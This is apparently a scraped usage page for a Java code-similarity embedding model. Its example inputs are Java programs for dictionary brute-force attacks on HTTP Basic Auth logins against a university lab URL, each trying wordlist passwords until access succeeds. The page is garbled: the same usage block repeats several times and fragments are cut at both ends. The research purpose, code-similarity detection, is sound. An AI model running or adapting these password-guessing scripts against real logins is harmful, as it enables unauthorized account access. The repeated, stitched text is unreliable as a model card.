setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                           